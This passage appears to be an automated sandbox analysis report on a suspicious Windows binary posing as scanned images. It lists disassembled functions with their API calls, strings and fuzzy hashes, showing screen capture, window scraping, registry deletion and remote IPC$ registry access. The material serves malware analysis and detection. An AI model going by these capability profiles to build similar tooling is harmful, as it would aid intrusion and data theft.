Instruction Fuzzy Hash: 9DC17B74204241EFD710DF15C4A4B2ABBE5EF84318F15859EF89A4B3A2CB39EC46CB95

Function 004D255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004D25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004D25E8
CreateCompatibleDC.GDI32(?), ref: 004D25F4
SelectObject.GDI32(00000000,?), ref: 004D2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 004D266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 004D26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 004D26D0
SelectObject.GDI32(?,?), ref: 004D26D8
DeleteObject.GDI32(?), ref: 004D26E1
DeleteDC.GDI32(?), ref: 004D26E8
ReleaseDC.USER32(00000000,?), ref: 004D26F3

Strings

(, xrefs: 004D268D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: e52e226ee292ec9dcd5a4cbee068d6451cc4a1e8de6b41a830cac3865e655ffa
Instruction ID: 95b1bfdaa0941f0468d7edc68daa9603f919164464a18dfcc25b5264e4bf3d22
Opcode Fuzzy Hash: e52e226ee292ec9dcd5a4cbee068d6451cc4a1e8de6b41a830cac3865e655ffa
Instruction Fuzzy Hash: 8B61F175D00219EFCF04CFA8D984AAEBBB5FF48310F20852AE955A7351D774A942CFA4

Function 0048DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0048DAA1

Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D659
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D66B
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D67D
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D68F
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6A1
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6B3
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6C5
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6D7
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6E9
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D6FB
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D70D
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D71F
Part of subcall function 0048D63C: _free.LIBCMT ref: 0048D731

_free.LIBCMT ref: 0048DA96

Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

_free.LIBCMT ref: 0048DAB8
_free.LIBCMT ref: 0048DACD
_free.LIBCMT ref: 0048DAD8
_free.LIBCMT ref: 0048DAFA
_free.LIBCMT ref: 0048DB0D
_free.LIBCMT ref: 0048DB1B
_free.LIBCMT ref: 0048DB26
_free.LIBCMT ref: 0048DB5E
_free.LIBCMT ref: 0048DB65
_free.LIBCMT ref: 0048DB82
_free.LIBCMT ref: 0048DB9A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: cf489ac70dbe222929a01e916e986d0223aaf282a3da5b6b39ba732fdc59d866
Instruction ID: f7a547cc88f0484564f326d3785ad9d3cad5e6dfb8e3c464cf06534a17d884fd
Opcode Fuzzy Hash: cf489ac70dbe222929a01e916e986d0223aaf282a3da5b6b39ba732fdc59d866
Instruction Fuzzy Hash: 5B314CB1A452049FEB25BA3AE945B5F77E9FF00314F214C2BE449D7291DE7DAC808728

Function 004B365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 004B369C
_wcslen.LIBCMT ref: 004B36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 004B3797
GetClassNameW.USER32(?,?,00000400), ref: 004B380C
GetDlgCtrlID.USER32(?), ref: 004B385D
GetWindowRect.USER32(?,?), ref: 004B3882
GetParent.USER32(?), ref: 004B38A0
ScreenToClient.USER32(00000000), ref: 004B38A7
GetClassNameW.USER32(?,?,00000100), ref: 004B3921
GetWindowTextW.USER32(?,?,00000400), ref: 004B395D

Strings

%s%u, xrefs: 004B3734

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 8cf1ad6c6d5655805be56f652a29cfe1c8db0ef10570cedc58dab127f57b3a03
Instruction ID: a393ade4cd66d8a46d090f496edcd17c06b33806b2ff15418036dac41cf18256
Opcode Fuzzy Hash: 8cf1ad6c6d5655805be56f652a29cfe1c8db0ef10570cedc58dab127f57b3a03
Instruction Fuzzy Hash: DF91D471204606AFD714DF26C885BEBF7E8FF44305F00852AF999C6251DB38EA46CBA5

Function 004B4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 004B4994
GetWindowTextW.USER32(?,?,00000400), ref: 004B49DA
_wcslen.LIBCMT ref: 004B49EB
CharUpperBuffW.USER32(?,00000000), ref: 004B49F7
_wcsstr.LIBVCRUNTIME ref: 004B4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 004B4A64
GetWindowTextW.USER32(?,?,00000400), ref: 004B4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 004B4AE6
GetClassNameW.USER32(?,?,00000400), ref: 004B4B20
GetWindowRect.USER32(?,?), ref: 004B4B8B

Strings

ThumbnailClass, xrefs: 004B4A6F, 004B4AF1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 0a88819e4095ec887ff0bc092aed0a996dcc3184f2ef4f66295a3db99f6563f1
Instruction ID: 0955c5679972037c7c5f13a03bf203261a001d6e5c3c661feb7cfd4a406a56a3
Opcode Fuzzy Hash: 0a88819e4095ec887ff0bc092aed0a996dcc3184f2ef4f66295a3db99f6563f1
Instruction Fuzzy Hash: B891AF710082059BDB04DF24C981BEB77A8FF84714F04846AFE859A297DB38ED45CBB9

Function 004DCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 004DCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 004DCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 004DCD48

Part of subcall function 004DCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 004DCCAA
Part of subcall function 004DCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 004DCCBD
Part of subcall function 004DCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 004DCCCF
Part of subcall function 004DCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 004DCD05
Part of subcall function 004DCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 004DCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 004DCCF3

Strings

RegDeleteKeyExW, xrefs: 004DCCC9
advapi32.dll, xrefs: 004DCCB8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 3ab3de651b65f1ce43db859dbeee3e4f1dceb9b15b94f1af9d0b365021d0a277
Instruction ID: 5911557346863289353d260b326ffea947af867351d033d76cdd6d523c12048a
Opcode Fuzzy Hash: 3ab3de651b65f1ce43db859dbeee3e4f1dceb9b15b94f1af9d0b365021d0a277
Instruction Fuzzy Hash: D4316071901129BBDB208B95DCD8EFFBB7CEF45750F000166F905E6341D7389A46DAA8

Function 004C3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 004C3D40
_wcslen.LIBCMT ref: 004C3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 004C3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 004C3DBE
RemoveDirectoryW.KERNEL32(?), ref: 004C3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 004C3E55
CloseHandle.KERNEL32(00000000), ref: 004C3E60
CloseHandle.KERNEL32(00000000), ref: 004C3E6B

Strings

\??\%s, xrefs: 004C3D5B
:, xrefs: 004C3D82
\, xrefs: 004C3D77

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: beb62308ad411936fef4abc7facd76bb5c99033cb7a76853dc3acb9224591075
Instruction ID: a626f1d4fc0c0b44e371c6a151c3c36971a1c1aea97669405042193d9e4daef3
Opcode Fuzzy Hash: beb62308ad411936fef4abc7facd76bb5c99033cb7a76853dc3acb9224591075
Instruction Fuzzy Hash: FC31A575900249ABDB209FA0DC89FEF37BCEF88705F1081BAFA09D6151E77497458B28

Function 004BE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 004BE6B4

Part of subcall function 0046E551: timeGetTime.WINMM(?,?,004BE6D4), ref: 0046E555

Sleep.KERNEL32(0000000A), ref: 004BE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 004BE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 004BE727
SetActiveWindow.USER32 ref: 004BE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 004BE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 004BE773
Sleep.KERNEL32(000000FA), ref: 004BE77E
IsWindow.USER32 ref: 004BE78A
EndDialog.USER32(00000000), ref: 004BE79B

Strings

BUTTON, xrefs: 004BE719

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 2a74badd62ed862b2ad3b447c28fc5c9fa6845ff38bb877c869efb2024246e58
Instruction ID: 0bdade5f1689e200ac7f30e84b63da13c8c5a43c1d2a949e926edb403f6f9fd2
Opcode Fuzzy Hash: 2a74badd62ed862b2ad3b447c28fc5c9fa6845ff38bb877c869efb2024246e58
Instruction Fuzzy Hash: 0B219575200244BFEB105F23ECC9AA63B69FFA6349F101436F401952A2DF75AC06AB3C

Function 004BE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 004BEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 004BEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 004BEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 004BEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 004BEAA7

Strings

open , xrefs: 004BEA0C
play PlayMe wait, xrefs: 004BEA91
close PlayMe, xrefs: 004BEA6E, 004BEA9B
status PlayMe mode, xrefs: 004BEA58
alias PlayMe, xrefs: 004BEA36
play PlayMe, xrefs: 004BEAA2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 16203ef8d1e2b6c51dbd4f11f8023214c846cdfcaa3921e0b8ad403aa70533c5
Instruction ID: 655f4853511b7ea3d2aef8e1c99e9f2001c5d3251f958a37160d03255063d374
Opcode Fuzzy Hash: 16203ef8d1e2b6c51dbd4f11f8023214c846cdfcaa3921e0b8ad403aa70533c5
Instruction Fuzzy Hash: 88117331A502597AE720A7A2DC4ADFF6E7CFFD5F44F40042A7811A20D2EE741D89C5B4

Function 004B5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 004B5CE2
GetWindowRect.USER32(00000000,?), ref: 004B5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 004B5D59
GetDlgItem.USER32(?,00000002), ref: 004B5D69
GetWindowRect.USER32(00000000,?), ref: 004B5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 004B5DCF
GetDlgItem.USER32(?,000003E9), ref: 004B5DDD
GetWindowRect.USER32(00000000,?), ref: 004B5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 004B5E31
GetDlgItem.USER32(?,000003EA), ref: 004B5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 004B5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 004B5E67

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: c6ec31e7a977eb2a2b186a1e4f5bd95579c016afd36e93ab3a6e58c5d74c8c78
Instruction ID: 61654633bf244b1e9a211e51cdb9889ae8281c41da680bf654d2d805333e13b9
Opcode Fuzzy Hash: c6ec31e7a977eb2a2b186a1e4f5bd95579c016afd36e93ab3a6e58c5d74c8c78
Instruction Fuzzy Hash: D6512F70A00605AFDF18CF68DD89AAEBBB9FB48300F148229F915E6291D7749E01CB64

Function 00468BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00468F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00468BE8,?,00000000,?,?,?,?,00468BBA,00000000,?), ref: 00468FC5

DestroyWindow.USER32(?), ref: 00468C81
KillTimer.USER32(00000000,?,?,?,?,00468BBA,00000000,?), ref: 00468D1B
DestroyAcceleratorTable.USER32(00000000), ref: 004A6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00468BBA,00000000,?), ref: 004A69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00468BBA,00000000,?), ref: 004A69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00468BBA,00000000), ref: 004A69D4
DeleteObject.GDI32(00000000), ref: 004A69E6

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 1427c3b43a06f2604a47bc181ea033f60c3a07b09e517d2b40d320d2b0f07356
Instruction ID: 1a428714a1cf1f9a524ab91057f893bc559fb8fd44414da1bd82f983600f731a
Opcode Fuzzy Hash: 1427c3b43a06f2604a47bc181ea033f60c3a07b09e517d2b40d320d2b0f07356
Instruction Fuzzy Hash: 6361AB31102B00DFCB358F24C998B2777B1FF66316F14462EE0429A660DB39AC96DB5E

Function 00469838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00469944: GetWindowLongW.USER32(?,000000EB), ref: 00469952

GetSysColor.USER32(0000000F), ref: 00469862

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 40260bc49e56243dacb807797a48338825d6ae85cef3b0e812913c6f680f8fa7
Instruction ID: 313677bbc841f0846f841b112ebdb92e6869dbf3f5c9741a322ced2206e03447
Opcode Fuzzy Hash: 40260bc49e56243dacb807797a48338825d6ae85cef3b0e812913c6f680f8fa7
Instruction Fuzzy Hash: AA41C471100650EFDB205F389CC4BBA3769AB56330F14461AF9A28B2E2E7749C42DB1A

Function 00488D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.G, xrefs: 0048903A, 00488FD0, 00488FF2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: .G
API String ID: 0-1092520701
Opcode ID: 6a22b7bfbf4cc79b70bb4210672092283457056b4e50c0197f527cb5de30894a
Instruction ID: 8761550963e533d3406f1c6a49f29f601b035731e0f5deb2447cda53788a9e9a
Opcode Fuzzy Hash: 6a22b7bfbf4cc79b70bb4210672092283457056b4e50c0197f527cb5de30894a
Instruction Fuzzy Hash: 3CC1F874904249AFCB11FFA9C841BBE7BB0AF0A314F18449EE514A7393C7399D46CB69

Function 004B96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0049F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 004B9717
LoadStringW.USER32(00000000,?,0049F7F8,00000001), ref: 004B9720

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0049F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 004B9742
LoadStringW.USER32(00000000,?,0049F7F8,00000001), ref: 004B9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 004B9866

Strings

%s (%d) : ==> %s: %s %s, xrefs: 004B984A
^ ERROR, xrefs: 004B97FB
Line %d:, xrefs: 004B97A0
Line %d (File "%s"):, xrefs: 004B978F
Error: , xrefs: 004B981D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 5471274b0e47305e8c153f33303ee4c7ba7ef02495fe2b6e30a9f520719e1efc
Instruction ID: 55f8786621cc57e306468d5a29a48b4544a96885af65105a486904027fa37e11
Opcode Fuzzy Hash: 5471274b0e47305e8c153f33303ee4c7ba7ef02495fe2b6e30a9f520719e1efc
Instruction Fuzzy Hash: EF416D72800219AACF04FBE1CD82DEE7779AF14745F50042AFA0172093EB396F49CB69

Function 004B06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004B07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 004B07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 004B07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 004B0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 004B082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 004B0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 004B083C

Strings

\IPC$, xrefs: 004B0784
\CLSID, xrefs: 004B0724
SOFTWARE\Classes\, xrefs: 004B070E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
